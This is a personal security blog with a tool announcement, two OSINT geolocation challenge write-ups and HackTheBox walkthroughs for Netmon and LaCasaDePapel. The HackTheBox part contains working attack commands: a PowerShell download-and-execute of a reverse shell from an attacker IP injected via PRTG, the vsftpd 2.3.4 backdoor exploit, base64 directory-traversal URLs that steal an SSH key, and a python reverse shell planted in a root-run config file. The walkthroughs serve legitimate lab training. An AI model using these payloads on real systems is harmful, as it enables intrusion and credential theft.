Friday, July 24, 2020

INFO: The Civyanquark Inspector

Does anybody recall when I posted the link to my brand new GitHub page along with my PowerShell local admin scanner, Coerchck? Whether you do or do not, I've got some news for you.

I have deprecated Coerchck, along with its sibling script, Inritver (for checking BitLocker status on target systems.) However, this does not mean their functionality has vanished. Instead, I finally got around to doing something I've been intending to do for quite some time, would it were not for CEH/CISSP studies taking up my time (along with other pursuits.)

Some of the work I do involves me and/or my team walking into completely unknown environments. We have very limited time to gather as much data as we can to take back with us for risk analysis. I wanted to make that task as easy as possible and combine as many data-gathering tasks in zero-foothold environments as I could. I already had the target selection and looping logic from Coerchck. I used it to quickly spin up Inritver shortly thereafter. Still, this felt heavy-handed, both as far as total number of script lines and number of separate, non-concurrent tasks required were concerned. I wanted it to be faster, easier, and lighter.

Thus was born The Civyanquark Inspector. I took the target logic from Coerchck, but removed the admin account lookup and reporting parts. Instead, I turned Coerchck into a small PowerShell module. I did the same with Inritver. In fact, once I got every working, I confirmed what I had hoped from the outset: pumping out new modules took less than an hour now!

And that is just the beginning. I've been gathering PowerShell/WMI snippets for over a year now, and I intend to add a ton of modules to the lineup. On that note, here are... well, some notes!

By default, The Civyanquark Inspector will run all modules against the provided targets. It is also possible to specify a single module instead. I wanted to keep that original lightweightedness in the new tool, especially as the list of modules grows.

This is by no means a finished or polished product. There are aesthetic, error-handling, and quality-of-life updates that need to happen. I intend to add those parallel to adding new modules.

That's it for now. Check out the GitHub repository for updates, and hit me up on Twitter if you have suggestions for improvements or additional modules.

Thanks for sticking around to see this new thing finally come to fruition!

Tuesday, June 30, 2020

Post #28 - Quiztime Write-Up: Monday, June 29th, 2020

Hello again! I'm back again with another Quiztime challenge, this time posted by Julia Bayer.

Here's the challenge photo:

Obviously the first thing my eyes are drawn toward are the art pieces on the pillar. I did scan around a bit for anything that might be more of a dead giveaway, but nothing jumped out as much as the art.

I reverse image searched in Google, ran the picture through TinEye, checked it out in Lens, etc. Given that this is architecture we're talking about, though, I decided to expend most of my energy in Yandex. On my third crop, it paid off:

It didn't take long to spot a very familiar image:

I browsed to the website hosting this image and scrolled through until I found it. I used Chrome's built-in translate feature so I could read and get some context. The photos appeared to be from a trip to somewhere. To find out where, I found another image in the thread that looked like it might turn up a positive result in a Google reverse image search:

Dropping this into Google image search turned up a name in Lisbon, Portugal:

I searched for this location in Google Maps and dropped into street view nearby. Spinning around, I saw what appeared to be the same bridge from the forum in the distance.

Figuring that the bridge's pillars might be the home of our beautiful street art, I basically "drove" down the road, keeping the bridge as my destination. In less than a minute, I spotted our art-wrapped pillar:

That's it. If we zoom back out into Google Maps, we'll see that this picture was taken at the corner of R. Prof. Vieira Natividade and Cal├žada da Tapada in Lisbon, Portugal:

Still, I'd like to know the exact spot from where the photo was taken... or at least close as possible. To that end, let's do some quick and dirty analysis.

The two big things I noticed are the space between the pillars and the number of lane markers on the road. That tells us how far back we are from the pillars and how far to the left or right we likely are. We're far enough away in the original photo to see all of the lane markers. We're also far enough to the right to make the gap between the pillars visible, but not so far right that the island in the middle of the road is in the shot.

With all of that having been said, I believe that the shot was taken approximately just to the left of the left-most bus stop structure (from the aerial view perspective):

That's it for today. Hope you enjoyed this quick little OSINT challenge. Keep your eyes open for more, and stay safe out there!

Thursday, June 11, 2020

Post #27 - Quiztime Write-Up: Wednesday, June 10th, 2020

Hello, everyone! Time for a new post and not just a migrated post from other hosting locations! To make things even more interesting, this week I am doing an OSINT challenge! I'll get more into why I am doing OSINT stuff these days in another post. For now, let's jump into this.

This challenge was posted by the Quiztime account on Twitter (or, rather, by one of the members):

Our goal is seemingly simple: starting with just this image, name the two ferries that run on this body of water. So, where do we start?

There are three things I noticed right away: the German flag, some potential information on the boat's sail, and a tower of some sort:

So, it's safe to say that this image is somewhere in Germany. So, how do we narrow it down from there?

The first thing I did was drop the tower into a reverse Google Image search (for those who don't know, if you go to Google Images and drag-and-drop or upload an image file, Google will search for other instances of that exact file or visually similar images.) This, sadly, did not render anything useful. In fact, Google noticed the trees more than the tower itself.

The next thing I did was look into the boat. I found the meaning of the symbol fairly quickly. It is the symbol for a Yngling, or "...an agreeable cross between a planing dinghy and a keelboat." Combining this with the GER25, I found the boat's owner... or so I thought. My new friend Zewensec pointed out a thread that indicated boat registration numbers are not unique. So, my plans to find out where the owner's hometown might be were not realistic.

I next tried to identify the other two flags near the German flag. This went nowhere.

At this point, Zewensec let me know that they had solved the challenge by using Google Lens. And here's where things are going to get a bit hairy.

Zewensec and I did a lot of comparisons using Google Lens. For them, a very specific crop netted them the results that pushed them forward:

Two other users on Twitter had also found the results via Lens, and one confirmed that they had found it using the exact same blog post Zewensec had found, which contained this image, where you can see the tower I mentioned at the beginning of this post:

I began experimenting with different crops of the original image in Lens, and I noticed that only with Zewensec's and other's precise crop does the blog post show in the results. My other observations were as follows:

• Too much sky, and I got results for the United States.

• Too much water/not enough dock, and I ended up with Polish results.

• A crop approximating but not matching the "ideal" crop produced results for Edersee which, while in Germany and being a dam, is a whopping 301.8 km away from the target location of Rurtalsperre Schwammenauel.

• The tip of the boat must be in the crop, but not the sail. If the sail is in the crop, the results are all sail/boat-related.

So, at this point we've got the answer to the question because Zewensec has already gone the same direction as the other Twitter users. However, we wanted to go further, and thus posed two more questions to ourselves:

1. Was there another result in Lens that could have, be it directly or indirectly, led us to the answer?

2. Could we find the tower on Google Earth?

I answered the first question fairly quickly. With the below Lens crop, I found another result that led down a path to the names of the ferries:

Now, slight disclaimer before I proceed. I'm not sure how valid it is to say this was an alternative path, because at this point I already knew Rurtalsperre Schwammenauel was the location that held our answer, and in looking that up I saw that Woffelsbach was literally right around the bend:

Nevertheless, I started Googling things like "woffelsbach ferry tower", which led me to Google "rur dam ferry tower", which led me to Google "rursee ferry tower". It was with this last query that I found a final page that did, in fact, lead me to the answer:

Yep, those are the boats (the site is a gallery, and if you flip through you'll see a boat name on the side of one vessel.)

So, we have somewhat arrived at the answer to our first question. There may have been an alternative way to find these ferries without the one lucky crop that leads to the image containing the tower. However, it may or may not presuppose that we knew that Woffelsbach was close to Rurtalsperre Schwammenauel, and this crop itself was also somewhat lucky. It was definitely far easier to get incorrect crops than it was to get correct crops.

That leaves us with the second question: can we find the tower on Google Earth? To answer that, we need to work with what we know. I submit the following two points:

First, we know at least one place where the boats dock, so let's visit it on Google Earth and see if we can't find the same image I found in that gallery.

Here is a wide shot of the entire area:

The location that is tagged is Rursee, which is right next to the dam (Rurtalsperre Schwammenauel):

Fairly quickly I spot what appears to be a dock for two boats near the dam:

I drop myself into a photo sphere near the dock, and what I see definitely looks like the same dock from the site with the image gallery. I compare the dock, the boat, the backdrop, and the stairs/bricks, and I'm convinced enough to use this as a starting point for my next step.

My next point has to do with what we know about the location of the tower. The image we were given for the challenge suffers from a lack of depth, or at least an illusion of flatness. However, it definitely feels like there isn't much going on with the shore nearest to the camera. In the second shot from the infamous blog, though, we can see a little alcove of water with quite a few objects. I believe that tells us exactly from what angles we are viewing the tower and the shape of the landmass where it is located:

This appears to be a peninsula of sorts. Now, let's put that together and make our move.

We know that the tower appears to be on a peninsula that is flanked on one side by an alcove full of objects, but scarce on the other side. We know where our two ferries dock in at least one location. We know the layout of the area. So, using the dock we confirmed in the first Google Earth shot, we can "sail" along the river looking for topography that matches where we believe the tower to be, ignoring any dead ends or areas that don't match our criteria:

I think I've found something that looks promising enough:

Peninsula? Check. Scarce on one side but populated on the other side? Also check. Let's zoom in:

That shadow looks extremely promising, and indeed if we drop into a few photo spheres on that peninsula, we'll be rewarded with our tower:

And let's just clarify that lack of depth in the original photo:

Yeah, it was just the way the peninsula was parallel to the area with the trees, and the fact that the camera was at a lower elevation. Definitely the same trees, but from the other side of the tower while facing the same direction as the original camera.

And that's it. We found the tower, thus answering our second self-posed bonus question.

This was my first ever Quiztime challenge, and while I'm disappointed I didn't get the answer myself, I'm happy to have worked with Zewensec and to have tackled the bonus questions. Lens was an interesting vector for discovery. It's a bit disappointing that the answer relied on such a fickle tool, but in a case where the answer must be obtained at all costs, I suppose you have to use the tools available at your disposal (though Zewensec and I are both hoping someone else comes forward with an alternative means of solving this challenge.)

That's it from me for now! Expect more of these in the future as I continue to hone my OSINT skills.

Thanks for reading! Take care, and stay safe out there!

Friday, August 2, 2019

Post #26 - HackTheBox Write-Ups: Netmon & LaCasaDePapel

This post is a combination of two write-ups that were previously housed elsewhere. The original post here on my blog was simply a notice with links to the other site. As much as I'd like to split them into two separate posts, I'd rather ensure that the original post date stays intact. To that end, here are my write-ups for the HackTheBox boxes Netmon and LaCasaDePapel.

Netmon

LaCasaDePapel

Netmon

Netmon is our target for this week’s HackTheBox report. This was one of the easier times I’ve had with HackTheBox, so hopefully the write-up won’t be too painful.

Starting out, we run Nmap:

nmap -sC -sV -oA Netmon 10.10.10.152

Explanations:

-sC - Script scanning using the default script list.

-sV - Attempts version detection of protocols/applications during scan.

-oA - Output files in all formats

Netmon - The name of the files for -oA output.

10.10.10.152 - The target machine’s IP address.

The only ports open on this box are FTP and HTTP. The website is running PRTG:

Before I start poking around FTP, I do the usual thing and kick off some web tools:

gobuster -u http://10.10.10.152 -w /usr/share/wordlists/dirb/small.txt -o Netmon.gob.txt

Explanations:

-u - Specifies the URL to gobust.

-w - Specifies the wordlist to use for brute-forcing directories. I find that small.txt is a good, default starting point for me. If needed, I can work my way up to bigger wordlists, but it hasn’t been necessary for me up to this point.

-o - Specifies the ouput file name.

nikto -host 10.10.10.152 -port 80 -output Netmon.nikto

Explanations:

-host - Specifies the target hostname/IP address.

-port - Specified the target port number.

-output - Specifies the output file name.

I didn’t learn anything from either tool, so I turn my attention to FTP. You may have noticed in the Nmap results that FTP supports anonymous logins. We’re going to utilize that fact right now and connect with ncftp:

Once we’ve connected, it doesn’t take long to locate the user flag in \users\public. We can get it to our machine with FTP and read it. Now we’re ready to start escalating our way towards root.

While we’re still connected to FTP, we need to look around. I am much more familiar with Windows machines than I am with Linux, so it doesn’t take me long to find the ProgramData folder, which is normally hidden, but we can forcefully browse to it even if it isn’t listed. I immediately see the Paessler folder and continue to drill down and explore the file structure. I also spend some time Googling vulnerabilities for PRTG while exploring, and I stumble upon a post indicating that PRTG versions earlier than 17.4.35.3326 stored plaintext credentials in configuration files. On Netmon, there are a few different configuration files, but if we take our time and be thorough, we’ll read through each one and eventually discover that PRTG Configuration.old.bak contains the password:

However, this password does not let us into the admin menu. Think about it, though: what year is it?

That’s right: the box was released in 2019. This .bak file is from 2018. The password has likely changed since then, so if we simply tweak the password to reflect the new year...

...we’ll get in! We now have access to the web GUI of PRTG. We can spend some time poking around, but I also elected to go on the hunt for some pre-existing published vulnerabilities for RCE in PRTG. It didn’t take long for me to stumble onto a flaw in the notifications feature of PRTG wherein the parameter text field is passed directly into a PowerShell script that is then run as part of the notification. We can even force the notifications to run by “testing” them.

Personally, I didn’t see the point in trying to just read the root flag. Why not aim high and try to get a shell? To that end, I started my preparations.

First, we need to host our chosen shell. I love this simple reverse shell by infoskirmish, so I host a SimpleHTTPServer on my attacking machine in the same directory as the shell executable:

python -m SimpleHTTPServer 9009

Explanations:

-m - Run a module.

SimpleHTTPServer - Launch a simple HTTP server, as the name implies.

9009 - The port on which the server will listen for incoming connections.

If we really want to do this in one shot, we need to get our netcat listener set up now, as well:

nc -lp 2113

Explanations:

-l - Listen mode.

-p 2113 - Specifies the port on which to listen.

With our attacking box fully prepped to host the shell executable and the listener ready to catch the reverse shell, let’s craft a command to accomplish both the download and execution of the shell:

powershell -command "((new-object System.Net.WebClient).DownloadFile('http://10.10.14.41:9009/shell.exe', 'C:\Users\Public\shell.exe'))"; "c:\windows\system32\cmd.exe /c C:\Users\Public\shell.exe 10.10.14.41 2113"

Explanations:

-command - Specifies that everything in the following () will be executed as a command.

new-object System.Net.WebClient - Creates an object of the type System.Net.WebClient.

.DownloadFile - Calls the DownloadFile file function from System.Net.WebClient with the source and destination as parameters.

; - Indicates a second, separate command to be run after the first string.

In PRTG, proceed to “Setup” > “Account Settings” > “Notifications”. Select the little plus sign on the right of the page to add a new notification. Name the notification whatever you want. Further down the page, you’ll see an option to “Execute Program”. Expand this option, select “Demo exe notification - outfile.ps1” as the Program File and paste in your PowerShell command as the Parameter. Save the notification.

Once you are back at the notification screen, highlight your notification, then from the menu on the right-hand side that appears select the bell icon to “Send test notification”. This will cause your PowerShell command to be included in the demo .ps1 file, thus downloading and executing your shell.

And that, dear readers, is Netmon. I hope you enjoyed this quick, breezy little box. See you next time!

LaCasaDePapel

Before I start, apologies for the late drop on this write-up. I had it ready as soon as I finished the box, but I’ve been out with illness for a few weeks and didn’t even see that this box had already been retired until today. So here it is, better late than never!

LaCasaDePapel was one of those boxes that once again humbled me and taught me that I do not know nearly as much as I assume I’ve learned from HackTheBox so far. From my conversations with other people, that seemed to be an at least not uncommon theme, so hopefully this write-up is helpful for those of you who were as confused as I was.

As per the norm, we start out with our Nmap scan:

nmap -sC -sV -oA LaCasaDePapel 10.10.10.131

Explanations:

-sC - Script scanning using the default script list.

-sV - Attempts version detection of protocols/applications during scan.

-oA - Output files in all formats

LaCasaDePapel - The name of the files for -oA output.

10.10.10.131 - The target machine’s IP address.

On this box we’ve got FTP, SSH, HTTP, and HTTPS available. We don’t have any credentials for SSH, and I don’t see anything indicating that anonymous logins are available for FTP, so we’ll start by taking a look at the web server ports.

First, let’s start with HTTP to see if there is anything interesting we can grab over plaintext:

Nothing of interest as far as I can tell. I could be wrong, but I’d rather not start attacking something unless it is blatantly obvious that it might help me. That having been said, let’s try HTTPS instead:

We get an invalid certificate error, and an image featuring my favorite painter, Salvador Dali, telling us that we need to provide a client certificate to proceed. Again, I don’t want to dig into this too far, but I get the feeling that this may be our path as opposed to the authentication app mentioned on the HTTP page. Just a hunch.

Since we can’t really proceed any further with web services, let’s revisit FTP. You may have noticed in the earlier screenshot that a particular FTP server application and version number were discovered by Nmap. If you’re on Kali, we can run those through searchsploit. If you’re a 0x00sec VIP member, you can have Karen take a look for you via Discord:

As it turns out, vsftpd was backdoored in version 2.3.4, and that happens to be the version installed on our victim. This exploit is trivial to exploit on your own (so much so that I am not going to dedicate any time to writing about the exploit), but for some reason it was extremely unstable for me (a recurring issue I had with multiple paths on this box, sad to say). The Metasploit module, on the other hand, was far more stable. Let’s get it set up:

use exploit/unix/ftp/vsftpd_234_backdoor

set rhosts 10.10.10.131

set rport 21

Once we’re set, we’ll run the exploit command to execute.

The exploit will succeed, but we haven’t set up a payload or listener of any kind, so no session will be created. This is okay. If you read the exploit itself, you’ll have realized that the backdoor is hardcoded to open port 6200 on the affected system. Let’s try using telnet to connect to that port to see if our exploit worked:

telnet 10.10.10.131 6200

So, we got a shell. But what is it? Clearly, this is the backdoor that has been embedded into vsftpd, but how do we use it? What are its capabilities? A little cursory research is never a bad idea, but in this case just firing the help command into the aether did the trick for me:

NOTE: I noticed when interacting with this shell that if you do something to cause an issue, you may have to reset the box so you can re-run the exploit to get a fresh copy of the backdoor. Just my observation.

So, we have some things we can try. Now, it might just be me, but the first thing I did was use the ls command to see what I could learn about the environment. I quickly note that $tokyo is a variable. That seems interesting, so I’ll run show $tokyo to see if this trail of breadcrumbs leads us any deeper into the woods:

We have some code in here that looks interesting enough. There is one bit in particular that stands out because, if you recall, the HTTPS web page stated that we need a client certificate to proceed. Incidentally, this code appears to mention a CA key, which might be exactly what we need to craft our own client certificate. I decided to rip the command straight out of $tokyo without assigning a variable. I ran it, and got some results:

file_get_contents('/home/nairobi/ca.key');

That looks like a private key if I ever saw one. Now, we don’t have a reliable method of downloading the ca.key file, so instead I’ll just copy the text from -----BEGIN PRIVATE KEY----- to -----END PRIVATE KEY-----. I’ll use vi to create a new file called ca.key, paste the contents I have copied, then set to work editing. I remove the preceding blank spaces for each line, as well as any lines that are totally blank. Once those are addressed, I’ll remove the \n at the end of each line. If you’ve done it correctly, md5sum should return 15669c919e89280007d130f0ca5688a4 as the hash value for ca.key.

I will preface this entire next section by saying that I work with CSRs and keys and certificates on a fairly regular basis at my dayjob, and even still I had some issues with this. My issues, as per the norm, all stemmed from the fact that I way overthought this, but there is also the fact that the next step can be approached in a few different ways. My way only requires a single command, though, and I know how it worked, so we’ll stick with it for now.

First, make sure you’ve got your ca.key file ready. Next, visit the web page via HTTPS. However you’d like, view the certificate for the web page and export it to your machine. It should be called lacasadepapelhtb.crt and should have a SHA1 thumbprint of 8C:47:7F:3E:53:D8:E7:6B:4C:DF:EC:CA:AD:B6:05:51:B1:B6:38:D4. With both these files in hand, run the following openssl command:

openssl pkcs12 -export -out lacasadepapelhtb.p12 -in lacasadepapelhtb.crt -inkey ca.key -passin pass:lacasa -passout pass:lacasa

Explanations:

pkcs12 -export - Indicates that we are going to be exporting a file in this format.

-out lacasadepapelhtb.p12 - Indicates the name of the file we are outputting.

-in lacasadepapelhtb.crt - Indicates the name of the file we are inputting for conversion.

-inkey ca.key - Indicates the key we will be using to sign the exported file.

-passin pass:lacasa -passout pass:lacasa - These switches just specify the password used to secure the file(s).

If all goes as planned, you should have a brand new file named lacasadepapelhtb.p12. Take this file and import it into your browser of choice (for me, Firefox worked best.) Once that is done, revisit the HTTPS page, and you should notice different behavior than previously exhibited when you did not have the CA key signed certificate:

At this point, I just started clicking around and exploring the page. To be honest, I am surprised I found the path forward as quickly as I did. If you click into either season’s link, you’ll be presented with a list of “episodes”. Pay close attention to the URL for the “episodes”; Season 01, Episode 01 for example:

hxxps://lacasadepapel.htb/file/U0VBU09OLTEvMDEuYXZp

That bit after file/ looks interesting to me. How about we run it through base64 to see what we get?

echo U0VBU09OLTEvMDEuYXZp | base64 -d

Okay, so the actual URL, when decoded, is hxxps://lacasadepapel.htb/file/SEASON-1/01.avi. Let’s try that in our browser now to see what happens:

That didn’t work. Let’s try the original URL, complete with base64:

That worked. That means, essentially, that we can download files here, but only if we do it by supplying the path in base64. There’s more to it than that, though. Remember our FTP backdoor shell? Here’s something we can see with it (I captured this during my initial enumeration of that foothold, which is why it stuck out to me later on):

I had used the scandir PHP function to explore the file structure, and I knew this seemed familiar! Between this knowledge and the base64 trick we learned, it’s safe to say that hxxps://lacasadepapel.htb/file/ actually represents /home/berlin/downloads/. Knowing this, we can start trying some directory traversal attacks.

Taking it easy at first, let’s see if we can read the contents of /home/berlin. To do his, we need to traverse up from our default subdirectory. This is also known as a dot-dot-slash attack. So, the path we want is ../../berlin/ which, when converted to base64 using CyberChef is Li4vLi4vYmVybGluLw==. That makes our full path hxxps://lacasadepapel.htb/file/Li4vLi4vYmVybGluLw==

NOTE: I very specifically mention CyberChef here because obtaining the base64 using other ways may produce different results that, when submitted as part of a URL to the HTTPS web page, can cause the HTTPS service to crash and become unavailable until the machine is reset.

We can’t read directories with this trick. That’s fine. Let’s go for some loot and see if we can grab the user flag. Our path is ../berlin/user.txt, and in base64 that is Li4vLi4vYmVybGluL3VzZXIudHh0. Once again, our full path is hxxps://lacasadepapel.htb/file/Li4vLi4vYmVybGluL3VzZXIudHh0

That’s our user flag! Now, let’s scrounge around for anything else we may be able to pilfer using this trick. I quickly discovered that we can’t go very deep into most folders, so I decided to reply upon a mixture of enumeration via our FTP backdoor shell and some good, old-fashioned research. Below were the contents of /home/berlin:

We can’t dive very deep into any of these folders, so we’ll have to do some research on each of these folders. We could also grab the server.js file with our base64 directory traversal trick, but we’re trying to get a better shell, hopefully as a better or at least different user. To that end, .ssh intrigues me. I had some cursory knowledge prior to doing this box, but some quick Google work led me to the knowledge that the file id_rsa lies within this folder. With this file, we can authenticate to the victim box over ssh and get a better connection (hopefully!). Using our trick, we come up with the path hxxps://lacasadepapel.htb/file/Li4vLi4vYmVybGluLy5zc2gvaWRfcnNh

We’ve got it! So, now we want to try authenticating with our key. However, allow me to save you a step here: the key does not allow us to authenticate as the user berlin. We’ll have to try a different user.

Now, my fellow 0x00sec HTB player @clarkee told me that the answer to the user we need to authenticate as is obvious if you think about it. Well, I did not take that route, so let me show you what I did instead, like a bad person:

Yes, I just took the contents of /etc/passwd and made a hard-coded bruteforce script. Sloppy, but it did the trick.

We are in via SSH as the user professor. Wonderful. Time to enumerate and try to get some privilege escalation.

I wasted so much unnecessary time on this box. Once again, my unfamiliarity with Linux and my general newness to hacking in general got the better of me. The answers to my path were in the folder of the user I connected with the whole time.

I did not know this, but despite the fact that the memcached.ini file does not have w permissions set at the file level, the directory itself does, so we have the ability to overwrite it. And because it is owned by root, anything that gets executed as a result of that file also runs as root. A quick review of ps -a shows us something interesting (or you can capture this with pspy, which I’ve covered in other posts and won’t re-iterate here):

The memcached process runs fairly regularly, so if we can edit memcached.ini it will definitely be read in short order. Let’s examine the contents of the file first before we make any changes:

Okay, so, we need to change everything after command = sudo -u. I am going to change nobody to root, then drop in a python command for a reverse shell (which I got from NaviSec (thanks, @pry0cc)). I will place this into a file called new.ini, since I can’t edit memcached.ini directly. Then, after setting up a listener on my attacking machine with nc -lp 2113, I’ll run mv new.ini memcached.ini to overwrite the file owned by root. Here are the contents of new.ini:

[program:memcached] command = sudo -u root python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.41”,2113));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’

Once we’ve moved the file, we can go watch our listener and wait for our reverse shell to appear:

And that’s LaCasa. All in all, I really wanted to like this box. Conceptually, I did, but the little instabilities really made it hard to enjoy. I reset this box more times than I have reset all other boxes combined. Still, I learned some new things, and I hope you did as well.

Thanks for reading!